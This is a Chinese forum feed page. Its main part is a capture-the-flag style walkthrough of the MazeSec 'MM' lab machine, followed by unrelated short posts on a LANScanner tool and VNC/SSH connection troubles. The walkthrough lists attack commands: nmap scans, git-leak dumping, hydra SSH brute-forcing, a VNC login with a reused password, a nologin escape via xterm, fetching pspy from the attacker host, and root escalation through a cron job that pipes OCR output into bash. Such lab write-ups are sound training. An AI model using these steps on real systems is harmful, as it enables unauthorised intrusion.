靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:MM 作者 :dsz AI总结 今天复盘一下MM靶机。 为了防止有新手不知道打靶机的流程,这次从部署环境开始。(因为我一开始是打ctf的,第一次打靶机还真不知道怎么开始) 环境搭建 本次教程都以MazeSec自制靶机举例,其他的都万变不离其宗。 我们首先下载好靶机环境文件,一般都是一个ova文件。全称:Open Virtualization Appliance(开放虚拟化设备) 其中包括了完整配置信息和虚拟磁盘数据(也就是打开即用的虚拟机,基本不需要在配置,除了网络之类的) 拿到靶机后我们用 VirtualBox 打开(MazeSec的靶机优先支持 VirtualBox , VMware 有可能会有找不到网卡的情况) 我们依次点击:管理—>导入虚拟电脑—>选择文件(需要的靶机ova文件) 我们可以选择改一下位置,我改成了D盘里自建的文件夹。 然后点击完成。等待导入完全(右上角有进度条) 导入后右边可以看到配置详情,我们几乎不要去管,但是有时候会碰到没有找到ip的情况,我们看一看网络设置对不对。这里建议直接选择桥接,特别是对于 VMware 上部署kali的师傅,两个平台的nat网段是不同的(如果你是网络高手或许可以自己去调一下,相关密码需要进入社区获取 ) 然后双击即可打开靶机。我们打开可能会遇到如下报错,不要管他,点一下更改网络设置然后点确定退出就好了。 信息收集 打开靶机后我们就不要管他了(也可以看,我是为了尽量模拟真实环境) 回到我们的攻击机(kali等),注意kali也要桥接哦~ 我们nmap起手收集一下目标ip $ nmap 172.20.10.0/24 -sn #-sn是只发ping包扫描 找到VirtuaBox的网卡就是靶机地址了。 ip: 172.20.10.3 然后在扫一下端口开放情况。 $ nmap -p- 172.20.10.3 #-p-代表扫描全端口 开放 22 、 80 、 5901 、 6001 四个端口。 vnc复盘 VNC 是一种让你用一台电脑(客户端)远程操作另一台电脑(服务器)桌面的技术 5901/tcp :VNC 服务的主端口 大门 ,你从这里连接进去| 6001/tcp :X11 服务端口(Linux图形底层) 内部管道 ,服务器自己用的,你不需要管它| :1 :(显示编号)这是第1号图形会话 如果同时开多个桌面,就是 :1 、 :2 …| 连接命令: vncviewer 172.20.10.3:5901 就和22端口的ssh一样,但是这里突然开始一个vnc也很不正常,需要留意一下。 和ssh一样有可能被暴力破解的可能 初步渗透测试-获取user-shell 我们一般有web的话就先去web看看,因为web的洞会简单一点。 一个静态页面,没思路,那么就去扫一下目录。 $ dirsearch -u 172.20.10.3 看到泄露了很多git文件,那么就是git泄露,我们用工具扒下来看看。 root@JYlover:~/webtool/GitHacker# githacker --url http://172.20.10.3/.git/ --output-folder result 看到有几次提交记录,我们能得到一个域名 mm.dsz 这里我尝试添加一个hosts记录,果然访问到一个登录页面。 不能输入和点击,尝试修改前端代码,但是最后发现完全没有用,就是一个壳子。那这条路就断了。 注意,这里由于环境变化,下面的ip和上面不一样,大家自行理解一下。 于是我们只能再次回到git。 我把几次的git记录都看了一遍,发现过程中添加又删除了一个密码 sublarge 。 尝试用它登录ssh或者vnc,但是都不对。 那没办法,git里也没有什么信息了(4次提交都看过了) 那就只剩下爆破这条路了。我们hydra试试。 ┌──(kali㉿JYlover)-[~] └─$ hydra -l mingmingjiu -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.103 -t 4 -e nsr 这里添加 -e nsr 参数测试了弱密码,没想到果然就是用户名复用。 那我们尝试ssh登录。 ┌──(kali㉿JYlover)-[~] └─$ ssh [email protected] #password:mingmingjiu 但是发现登陆成功却直接退出。 原因是该用户的shell被禁用,但是密码是正确的。 既然shell被禁用了,我们可以想到,这里留一个vnc是做什么的,是否存在密码复用问题呢,尝试登录。 ┌──(kali㉿JYlover)-[~] └─$ vncviewer 192.168.56.103:5901 # password:mingmingjiu 成果登录上了vnc桌面。 权限提升-获取root-shell 我们现在是没有shell权限的,那么怎么办呢,这里有一个办法是用其他终端, xterm 然后这里就直接弹了一个shell回来,做权限维持 关于shell权限复盘 这里为什么我们不能ssh登录,也不能直接用terminal,但是用xterm这些古老的终端却可以。 我们先看一下用户信息: mingmingjiu@MM:~$ cat /etc/passwd 能看到mingmingjiu用户的默认shell是 /usr/sbin/nologin 我们ssh登录时:验证成功后,系统会尝试启动你在 /etc/passwd 中定义的 Shell(例如 /bin/bash) 如果定义的是 /usr/sbin/nologin ,系统就会运行这个程序,它会打印一段文字(通常是 “This account is currently not available.”),然后直接断开连接。 而自带terminal也是直接去打开默认shell,但是这里默认shell是 nologin 。 而古老的 xterm ,他不知道去主动找用户默认shell,而是呆呆的直接启动一个sh 所以他没有收到/etc/passwd的影响。 得到shell之后我们就尝试去权限提升了。 我们传一个pspy64到靶机(这是一个监控程序,会一直监控当前的进程,主要是发现一些存在的定时任务等) 这里可能有些刚接触靶机的师傅会不知道,一般我们打靶机会自备一些常用的工具箱,里面有一些什么漏洞扫描,进程监控等等工具,到了提权的时候可以把工具传上去帮助我们信息收集。例如: 这里就是我的工具箱,获得低权限shell时起http服务传一些工具上去。然后靶机上下载下来直接监控: mingmingjiu@MM:~$ wget 192.168.56.1:8888/pspy64 就不全部截图了,有点长,大家明白意思就好了。 然后我们直接pspy监控进程: mingmingjiu@MM:~$ chmod +x pspy64 chmod +x pspy64 mingmingjiu@MM:~$ ./pspy64 明显能看到有些程序在重复执行,而且还是以root身份执行的(UID=0),说明很有可能是作者留给我们的提权点。 能注意到其中有一个 /bin/sh -c /bin/bash /opt/a.sh 一直作为定时任务在执行,后面应该就是它里面执行的命令了。 我们去看看这个文件。 mingmingjiu@MM:~$ cat /opt/a.sh 是bash执行gocr后的结果,这个gocr是什么,我们可以去问一下ai。 很简单,就是把图片里面的文本识别出来。OCR模型就是这个作用。 也就是说如果我们有一张图片 1.png , 里面写着id 然后我们执行gocr ./1.png | bash 就会输出id命令的结果。 那么就很简单了,也就是说只要我们把 /tmp/go.png 换成我们自制的命令图片,然后等定时任务执行。那就可以以root身份执行任意命令了。达到定时任务提权的目的。 总结 总结一下这次靶机接触到的一些知识吧。 vnc是一种和ssh类似的连接远程桌面的技术,通过命令连接 vncviewer <ip>:<port> 当 /etc/passwd 中给用户默认shell指定为 /usr/sbin/nologin 时会导致ssh,以及现代的终端模拟器失效。此时可以使用一些古老的终端如 xterm 等直接起一个终端,而不是走默认终端。 可以通过工具等,多注意定时任务的执行 2 个帖子 - 2 位参与者 阅读完整话题
本帖使用社区开源推广,符合推广要求。我申明并遵循社区要求的以下内容: 我的帖子已经打上 开源推广 标签: 是 我的开源项目完整开源,无未开源部分: 是 我的开源项目已链接认可 LINUX DO 社区: 是 我帖子内的项目介绍,AI生成、润色内容部分已截图发出: 是 以上选择我承诺是永久有效的,接受社区和佬友监督: 是 以下为项目介绍正文内容,AI生成、润色内容已使用截图方式发出 LANScanner 的底层使用 rust 构建,相比市面上已有的大多数搜寻局域网设备 IP 的软件要更加的高效、轻巧,同时还提供搜索到设备后进行一键远程连接的功能, 搜 IP 和 远程登录 一般都是需要用到两个软件,而现在, LANScanner 将这两个主要功能集成在了一起。 如果有佬友的工作环境或者是自己家里有运行多个主机、NAS 这一类的设备,那么它一定能帮助到你,它支持使用 Vscode、Shell 终端、RealVNC、mobaxterm、rustdesk 进行一键的远程管理。 github.com GitHub - ChickmagnetL/LANScanner: Quickly scan for the IP addresses of devices on... Quickly scan for the IP addresses of devices on your local area network and connect with them with a single click via SSH, VNC, RustDesk, or other methods. 4 个帖子 - 2 位参与者 阅读完整话题
那岂不是可以在一个Windows电脑上开个vnc服务器网页然后让他在浏览器内部使用?为啥还没人做呢? 1 个帖子 - 1 位参与者 阅读完整话题
佬们 买了个米国的服务器 然后远程连接根本动不了 非常卡 但是VNC就可以 虽然也很卡 但是最起码能动 求佬给个办法 卡死了 windows系统 7 个帖子 - 6 位参与者 阅读完整话题
大佬们,我的狐蒂云突然不能ssh连接了,应该怎么解决啊?官方的vnc也进不去能输入命令的步骤 12 个帖子 - 7 位参与者 阅读完整话题
NND,这个太垃圾了,大家有什么好办法吗?太无语了 6 个帖子 - 6 位参与者 阅读完整话题